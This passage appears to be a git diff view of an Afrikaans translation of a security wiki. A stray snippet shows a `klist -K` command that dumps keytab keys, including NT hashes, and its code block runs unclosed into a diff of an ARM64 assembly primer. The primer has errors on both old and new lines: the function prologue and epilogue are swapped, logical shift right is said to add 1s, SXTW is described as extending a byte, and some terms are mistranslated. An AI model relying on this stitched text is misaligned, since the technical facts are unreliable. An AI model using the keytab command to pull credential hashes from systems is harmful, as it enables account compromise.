Om die inhoud van die keytab-lêer te inspekteer, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

View File

@ -4,57 +4,57 @@
## **Uitsondering Niveaus - EL (ARM64v8)**
In ARMv8 argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregtevlak en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel:
In die ARMv8-argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregte en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel:
1. **EL0 - Gebruikersmodus**:
- Dit is die minste voorregtevlak en word gebruik om gewone toepassingskode uit te voer.
- Dit is die minste bevoorregte vlak en word gebruik om gewone toepassingskode uit te voer.
- Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geïsoleer, wat sekuriteit en stabiliteit verbeter.
2. **EL1 - Bedryfstelsel Kernel Modus**:
- Meeste bedryfstelsel-kernels loop op hierdie vlak.
- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne , maar met sekere beperkings om stelselintegriteit te verseker.
- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker.
3. **EL2 - Hypervisor Modus**:
- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop.
- EL2 bied kenmerke vir isolasie en beheer van die gevirtualiseerde omgewings.
- EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings.
4. **EL3 - Veilige Monitor Modus**:
- Dit is die mees voorregtevlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings.
- EL3 kan toegang en kontrole tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.).
- Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings.
- EL3 kan toegang en beheer tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.).
Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees voorregte stelselsagteware. ARMv8 se benadering tot voorregtevlakke help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter.
Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelselsagteware. ARMv8 se benadering tot voorregte help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter.
## **Registers (ARM64v8)**
ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 aangespreek word.
ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 benader word.
1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subroutines gebruik.
1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subrutines gebruik.
- **`x0`** dra ook die terugdata van 'n funksie
2. **`x8`** - In die Linux-kernel, word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!**
2. **`x8`** - In die Linux-kernel word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!**
3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs.
- **`x16`** word as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS** gebruik.
5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys.
6. **`x19`** tot **`x28`** - Hierdie is belde-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan.
6. **`x19`** tot **`x28`** - Hierdie is kalteer-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan.
7. **`x29`** - **Raamwyser** om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word die **`x29`** register **in die stapel gestoor** en die **nuwe** raamwyser adres is (**`sp`** adres) **in hierdie register gestoor**.
- Hierdie register kan ook as 'n **algemene register** gebruik word alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word.
- Hierdie register kan ook as 'n **algemene register** gebruik word, alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word.
8. **`x30`** of **`lr`**- **Koppeling register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor.
- Dit kan ook soos enige ander register gebruik word.
- As die huidige funksie 'n nuwe funksie gaan oproep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en dit aan die einde herwin, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herwin `fp` en `lr` en keer terug).
9. **`sp`** - **Stapelwyser**, gebruik om die bokant van die stapel te volg.
- die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** of 'n uitlijningsfout mag voorkom.
10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs opgedateer word deur uitsondering generasies, uitsondering terugkeerde, en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor.
11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsondering generasies, uitsondering terugkeerde, en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor.
11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings te doen met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
Die **`Wn`** registers is die **32bit** weergawe van die **`Xn`** register.
### SIMD en Vlotpunt Registers
### SIMD en Vervaardigingsregisters
Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van vlotpunt aritmetiek gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van drijvende-komma rekenkunde gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
### Stelsels Registers
### Stelselsregisters
**Daar is honderde stelsels registers**, ook bekend as spesiale doeleindes registers (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\
**Daar is honderde stelselsregisters**, ook bekend as spesiale doeleindregisters (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\
Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**.
Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen gevind wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register aangespreek kan word (in hierdie geval is EL0 die gewone uitsondering (voorreg) vlak waaroor gewone programme loop).\
Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen aangetref wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register benader kan word (in hierdie geval is EL0 die gewone uitsondering (privilege) vlak waaroor gewone programme loop).\
Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word.
- `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0`
@ -70,29 +70,29 @@ Hierdie is die toeganklike velde:
- Die **`N`**, **`Z`**, **`C`** en **`V`** toestand vlae:
- **`N`** beteken die operasie het 'n negatiewe resultaat opgelewer
- **`Z`** beteken die operasie het nul opgelewer
- **`C`** beteken die operasie het 'n dra oor
- **`V`** beteken die operasie het 'n onderteken oorgang opgelewer:
- **`C`** beteken die operasie het 'n dra gelewer
- **`V`** beteken die operasie het 'n onderteken oorloop opgelewer:
- Die som van twee positiewe getalle lewer 'n negatiewe resultaat.
- Die som van twee negatiewe getalle lewer 'n positiewe resultaat.
- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie-onderteken was.
- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie.
> [!WARNING]
> Nie al die instruksies werk hierdie vlae op nie. Sommige soos **`CMP`** of **`TST`** doen, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook.
- Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word.
- Die huidige **Uitsondering Vlak** (**`EL`**): 'n Gewone program wat in EL0 loop, sal die waarde 0 hê
- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik.
- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n voorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering.
- Die **`DAIF`** vlae: Hierdie vlae stel 'n voorregte program in staat om selektief sekere eksterne uitsonderings te masker.
- As **`A`** 1 is, beteken dit **asynchrone afbrake** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
- Die **stapelwyser seleksie** vlae (**`SPS`**): Voorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie skakeling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie.
- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS-vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik.
- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n bevoorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering.
- Die **`DAIF`** vlae: Hierdie vlae stel 'n bevoorregte program in staat om sekere eksterne uitsonderings selektief te masker.
- As **`A`** 1 is, beteken dit **asynchrone abortus** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
- Die **stapelwyser seleksie** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie wisseling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie.
## **Oproep Konvensie (ARM64v8)**
Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** na 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** as dit ook **128 bits lank** is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe.
Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe.
Wanneer 'n funksie in assembly gelees word, soek na die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie.
Wanneer jy 'n funksie in assembly lees, soek die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie.
### Oproep Konvensie in Swift
@ -108,14 +108,14 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue ligging wat deur `x1` aangedui word in `x0`.
- **Offset modus**: 'n offset wat die oorspronklike punter beïnvloed, word aangedui, byvoorbeeld:
- `ldr x2, [x1, #8]`, dit sal die waarde van x1 + 8 in x2 laai
- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die array x0 laai, vanaf die posisie x1 (indeks) \* 4
- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die reeks x0 in x2 laai, vanaf die posisie x1 (indeks) \* 4
- **Pre-geïndekseerde modus**: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor.
- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en die resultaat van `x1 + 8` in x1 stoor
- `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor
- `str lr, [sp, #-4]!`, Stoor die koppeling register in sp en werk die register sp op
- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word aangespreek en dan word die offset bereken en gestoor.
- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word toegang verkry en dan word die offset bereken en gestoor.
- `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 op met `x1 + 8`
- **PC-relatiewe adressering**: In hierdie geval word die adres om te laai relatief tot die PC register bereken
- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai relatief tot die huidige PC.
- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai, verwant aan die huidige PC.
- **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**.
- Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue ligging wat deur `x1` aangedui word.
- **`ldp`**: **Laai Paar Registers**. Hierdie instruksie **laai twee registers** van **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg.
@ -130,7 +130,7 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- Xn3 | #imm -> Operando 2 (register of onmiddellik)
- \[shift #N | RRX] -> Voer 'n skuif uit of bel RRX
- Voorbeeld: `add x0, x1, x2` — Dit voeg die waardes in `x1` en `x2` saam en stoor die resultaat in `x0`.
- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif word) -> 1 0000 0000 0000 0000
- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif is) -> 1 0000 0000 0000 0000
- **`adds`** Dit voer 'n `add` uit en werk die vlae op
- **`sub`**: **Trek** die waardes van twee registers af en stoor die resultaat in 'n register.
- Kontroleer **`add`** **sintaksis**.
@ -141,30 +141,30 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register.
- Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig met n-keer 2)
- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in nie-onderteken)
- **Aritmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in onderteken)
- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig deur n-keer 2)
- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in ongetekende)
- **Arithmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in getekende)
- **Draai regs**: Soos **`lsr`** maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg
- **Draai Regs met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag.
- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**.
- Bitveld beweeg: `BFM Xd, Xn, #r`
- Onderteken Bitveld beweeg: `SBFM Xd, Xn, #r, #s`
- Nie-onderteken Bitveld beweeg: `UBFM Xd, Xn, #r, #s`
- **Bitveld Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas dit in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**.
- Bitfiled beweeg: `BFM Xd, Xn, #r`
- Getekende Bitfield beweeg: `SBFM Xd, Xn, #r, #s`
- Ongetekende Bitfield beweeg: `UBFM Xd, Xn, #r, #s`
- **Bitfield Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
- **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in
- **`BFXIL X1, X2, #3, #4`** Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1
- **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak
- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei hulle, en plaas die resultaat in X1
- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei dit, en plaas die resultaat in X1
- **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak
- **`UBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1.
- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die nie-onderteken weergawe) van 'n waarde om operasies daarmee uit te voer:
- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die ongetekende weergawe) van 'n waarde uit om operasies daarmee uit te voer:
- **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64bits te vul
- **`SXTH X1, W2`** Brei die teken van 'n 16bit getal **van W2 na X1** uit om die 64bits te vul
- **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit om die 64bits te vul
- **`UXTB X1, W2`** Voeg 0s (nie-onderteken) by 'n byte **van W2 na X1** om die 64bits te vul
- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekombineer is**.
- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2 kombineer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor.
- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`.
- **`UXTB X1, W2`** Voeg 0s (ongetekend) by 'n byte **van W2 na X1** om die 64bits te vul
- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekonkateneer is**.
- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** **konkatenereer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor.
- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae op. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`.
- Dit ondersteun die **dieselfde sintaksis as `subs`**
- Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae ooreenkomstig op.
- **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun die dieselfde sintaksis. Nuttig om te weet of `m == -n`.
@ -172,24 +172,24 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func
- Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE` was**, as dit nie was nie, sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie).
- Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` teenoor `cmn`).
- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word 1 is.
- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word, 1 is.
- Voorbeeld: `tst X1, #7` Kyk of enige van die laaste 3 bits van X1 1 is
- **`teq`**: XOR operasie wat die resultaat verwerp
- **`b`**: Onvoorwaardelike Tak
- Voorbeeld: `b myFunction`
- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
- **`bl`**: **Tak** met koppeling, gebruik om 'n **subroutine** te **roep**. Stoor die **terugadres in `x30`**.
- Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` en stoor die terugadres in `x30`.
- **`bl`**: **Tak** met koppeling, gebruik om 'n **subrutine** te **noem**. Stoor die **terugadres in `x30`**.
- Voorbeeld: `bl myFunction` — Dit noem die funksie `myFunction` en stoor die terugadres in `x30`.
- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subroutine** te **roep** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is
- Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`.
- **`ret`**: **Terugkeer** van **subroutine**, tipies met die adres in **`x30`**.
- Voorbeeld: `ret` — Dit keer terug van die huidige subroutine met die terugadres in `x30`.
- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subrutine** te **noem** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is
- Voorbeeld: `blr x1` — Dit noem die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`.
- **`ret`**: **Keer terug** van **subrutine**, tipies met die adres in **`x30`**.
- Voorbeeld: `ret` — Dit keer terug van die huidige subrutine met die terugadres in `x30`.
- **`b.<cond>`**: Voorwaardelike takke
- **`b.eq`**: **Tak as gelyk**, gebaseer op die vorige `cmp` instruksie.
- Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`.
- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae na (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres.
- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1 nie gelyk was nie, spring dit na `label`.
- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres.
- Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`.
- **`cbz`**: **Vergelyk en Tak op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres.
- Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`.
- **`cbnz`**: **Vergelyk en Tak op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres.
@ -200,7 +200,7 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- Voorbeeld: `tbz x0, #8, label`
- **Voorwaardelike seleksie operasies**: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2
- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xn + 1
- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1
- `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as vals, Xd = Xn
@ -212,9 +212,9 @@ ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**,
- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsy adres van `symbol` en stoor dit in `x0`.
- **`ldrsw`**: **Laai** 'n ondertekende **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits.
- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`.
- **`stur`**: **Stoor 'n register waarde na 'n geheue ligging**, met 'n offset van 'n ander register.
- **`stur`**: **Stoor 'n registerwaarde na 'n geheue ligging**, met 'n offset van 'n ander register.
- Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue adres wat 4 bytes groter is as die adres wat tans in `x1` is.
- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **skakel dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is.
